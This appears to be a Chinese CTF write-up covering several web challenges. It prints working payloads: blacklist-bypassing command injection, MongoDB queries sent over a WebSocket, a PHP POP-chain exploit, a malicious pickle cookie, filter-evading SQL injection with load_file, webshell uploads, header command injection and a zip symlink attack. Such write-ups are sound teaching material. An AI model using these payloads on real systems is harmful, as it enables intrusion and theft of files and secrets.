readbooks 一番 fuzz 后发现注入点在 URL path 里,访问 /public/*
可以 cat 目录下的文件,比如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import osfrom flask import Flask, request, render_templateapp = Flask(__name__) DISALLOWED1 = ['?' , '../' , '/' , ';' , '!' , '@' , '#' , '^' , '&' , '(' , ')' , '=' , '+' ] DISALLOWED_FILES = ['app.py' , 'templates' , 'etc' , 'flag' , 'blacklist' ] BLACKLIST = [x[:-1 ] for x in open ("./blacklist.txt" ).readlines()][:-1 ] BLACKLIST.append("/" ) BLACKLIST.append("\\" ) BLACKLIST.append(" " ) BLACKLIST.append("\t" ) BLACKLIST.append("\n" ) BLACKLIST.append("tc" ) ALLOW = ["{" , "}" , "[" , "pwd" , "-" , "_" ] for a in ALLOW: try : BLACKLIST.remove(a) except ValueError: pass @app.route('/' ) @app.route('/index' ) def hello_world (): return render_template('index.html' ) @app.route('/public/<path:name>' ) def readbook (name ): name = str (name) for i in DISALLOWED1: if i in name: return "banned!" for j in DISALLOWED_FILES: if j in name: return "banned!" for k in BLACKLIST: if k in name: return "banned!" print (name) try : res = os.popen('cat {}' .format (name)).read() return res except : return "error" @app.route('/list/<path:name>' ) def listbook (name ): name = str (name) for i in DISALLOWED1: if i in name: return "banned!" for j in DISALLOWED_FILES: if j in name: return "banned!" for k in BLACKLIST: if k in name: return "banned!" print (name) cmd = 'ls {}' .format (name) try : res = os.popen(cmd).read() return res except : return "error" if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=8878 )
嗯,这个题目的黑名单过滤有点多,反正不是不能绕。最后写出来的 Payload:
1 2 3 4 5 /list/-la|ec'' ho${IFS} 'bHMgLw' |bas'' e64${IFS} -d|ba'' sh /list/-la|ec'' ho${IFS} 'Y2F0IC9fZmxhZw' |bas'' e64${IFS} -d|ba'' sh
king 在 DevTools 的 Network 里面可以看到一个 WebSocket 连接,大概看了一眼服务端返回的数据,里面含有 _id
字段,猜测是 MongoDB 了。经过一通快速学习后搓出了 Payload,可以用这个工具 进行 WebSocket 的调试:
1 2 3 4 5 6 7 # 查询下所有集合 --> { "query" : { "listCollections" : 1 } } <-- { "data" : { "cursor" : { "id" : 0 , "ns" : "king.$cmd.listCollections" , "firstBatch" : [ { "name" : "flag3ssp458krpi" , "type" : "collection" , "options" : { } , "info" : { "readOnly" : false , "uuid" : "7a0f4258-4e56-4419-a19d-9765023e50f3" } , "idIndex" : { "v" : 2 , "key" : { "_id" : 1 } , "name" : "_id_" , "ns" : "king.flag3ssp458krpi" } } , { "name" : "enemies" , "type" : "collection" , "options" : { } , "info" : { "readOnly" : false , "uuid" : "b1f6c5a1-c17b-4c64-9179-694980d3b429" } , "idIndex" : { "v" : 2 , "key" : { "_id" : 1 } , "name" : "_id_" , "ns" : "king.enemies" } } , { "name" : "upgrades" , "type" : "collection" , "options" : { } , "info" : { "readOnly" : false , "uuid" : "d8f1df17-b4da-41c1-b9e7-d2e3bb28f6e7" } , "idIndex" : { "v" : 2 , "key" : { "_id" : 1 } , "name" : "_id_" , "ns" : "king.upgrades" } } ] } , "ok" : 1 } } # 拿下 Flag --> { "query" : { "find" : "flag3ssp458krpi" } } <-- { "data" : { "cursor" : { "firstBatch" : [ { "_id" : "65c09390a5d5a37b98bc38e0" , "flag" : "begin{NOw_yoU_4RE_KIn9_0F_N05QLI_t0O_0a63a74312b0}" } ] , "id" : 0 , "ns" : "king.flag3ssp458krpi" } , "ok" : 1 } }
POPgadget 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 class Fun { private $func = 'call_user_func_array' ; public function __call ($f ,$p ) { call_user_func ($this ->func,$f ,$p ); } } class Test { public function __call ($f ,$p ) { echo getenv ("FLAG" ); } public function __wakeup ( ) { echo "serialize me?" ; } } class A { public $a ; public function __get ($p ) { if (preg_match ("/Test/" ,get_class ($this ->a))){ return "No test in Prod\n" ; } return $this ->a->$p (); } } class B { public $a ; public $p ; public function __destruct ( ) { $p = $this ->p; echo $this ->a->$p ; } } if (isset ($_REQUEST ['begin' ])) { unserialize ($_REQUEST ['begin' ]); }
很简单的反序列化 POP 链构造,不能用 Test::__call
那就用 Fun::__call
,咋了:
1 2 3 4 5 6 7 8 9 10 11 class Fun { public $func ; }class A { public $a ; }class B { public $a ; public $p ; }$obj = new B ();$obj ->a = new A ();$obj ->p = "env" ;$obj ->a->a = new Fun ();$obj ->a->a->func = "system" ;print (serialize ($obj ));
pickelshop 开着 DevTools 尝试进行注册,发现 /register
的请求会返回 pickle 序列化后的结果作为 user 的 cookie,只不过实在 Body 而不是 Header (Set-Cookie) 里面,并且在存在 user 这个 cookie 的情况下请求 /login
会返回 username。那么构造一个恶意 cookie:
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickleimport base64class Exploit (object ): def __reduce__ (self ): cmd = "__import__('subprocess').getoutput('cat /flag')" return (eval , (cmd, )) a = Exploit() sertext = pickle.dumps({'username' : a, 'password' : '233' }) sertext = base64.b64encode(sertext) print (sertext)
sql 教学局 确实教学局,都是些基本的 SQL 绕过手法。第一部分 Flag 的 Payload:
1 'union/**/selselectect/**/flag/**/frfromom/**/secret.passwoorrd/**/limit/**/0,1;#
你问我怎么知道第一部分的字段名不是 note 而是 flag 的?我猜的。第二部分的话或许需要先找到 begin
在哪行,写个脚本吧(字段名也是用这个脚本跑出来的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from bs4 import BeautifulSoupimport requestsdef fetch (payload: str ) -> str : TARGET = 'http://[REDACTED]/challenge.php' response = requests.get(TARGET, params={'user' : payload}) soup = BeautifulSoup(response.text, 'html.parser' ) text = soup.find('div' , class_='result' ).text[6 :] assert text != "无结果 😶" return text if __name__ == '__main__' : if False : payload = '\'union/**/selselectect/**/column_name/**/frfromom/**/infoorrmation_schema.columns/**/limit/**/{},1;#' for i in range (1200 , 1300 ): print (i, fetch(payload.format (i))) if False : payload = '\'union/**/selselectect/**/table_name/**/frfromom/**/infoorrmation_schema.columns/**/limit/**/{},1;#' for i in range (326 , 329 ): print (i, fetch(payload.format (i))) if False : payload = '\'union/**/selselectect/**/student/**/frfromom/**/scoorre/**/limit/**/{},1;#\'' for i in range (0 , 500 ): name = fetch(payload.format (i)) print (i, name) assert name != 'begin'
那么其他两个部分 Flag 的 Payload:
1 2 'union/**/selselectect/**/grade/**/frfromom/**/scoorre/**/limit/**/353,1;#' 'union/**/selselectect/**/loloadad_file('/flag');#
zupload 注意到代码中:
1 2 3 4 5 if (!isset ($_GET ['action' ])) { header ('Location: /?action=upload' ); die (); } die (file_get_contents ($_GET ['action' ]));
直接往 action
中传入 /flag
就行了。
zupload-pro 没有对上传文件进行检查,直接上传一个一句话木马就可以了。前端的过滤自己解决,下同。
zupload-pro-revenge 这题只是修复了上一题的一个非预期解,使用上一题的 Payload 没有问题。
zupload-pro-plus 注意到代码中有对文件名的检查:
1 2 3 4 5 $file_ext = explode ('.' , $file_name );$file_ext = strtolower ($file_ext [1 ]);$allowed = array ('zip' ); if (in_array ($file_ext , $allowed )) ...
但是不严谨,这只要求第一个 .
后面是 zip
就行了,所以可以上传一个文件名是 door.zip.php
的一句话木马。
zupload-pro-plus-enhanced 这题只是修复了上一题的一个非预期解,使用上一题的 Payload 没有问题。
zupload-pro-plus-max 注意到代码中:
1 2 3 4 5 6 7 die (include ($_GET ['action' ])); $file_ext = explode ('.' , $file_name );$file_ext = strtolower (end ($file_ext ));$allowed = array ('zip' );if (in_array ($file_ext , $allowed ) && (new ZipArchive ())->open ($file_tmp ) === true ) ...
直接创建一个正儿八经的压缩包,但是把一句话木马放在压缩包说明中(这些内容会直接明文存放在压缩包文件尾部)。上传后通过 action
直接将 Payload 给 include 就能执行了。
zupload-pro-plus-max-ultra 注意到代码中:
1 2 3 4 5 $extract_to = $_SERVER ['HTTP_X_EXTRACT_TO' ] ?? 'uploads/' ;exec ('unzip ' . $file_tmp . ' -d ' . $extract_to );
直接往 Header 中传入 X-EXTRACT-TO: .; cat /flag > flag.txt
随便上传个文件,然后访问 /flag.txt
把 Flag 下载下来就行了。
zupload-pro-plus-max-ultra-premium 这题是 Unzip 软链接漏洞,先准备个 Payload:
1 2 3 touch /flagln -s /flag flagzip --symlinks payload.zip flag
上传后再下载 /uploads/flag
就行了。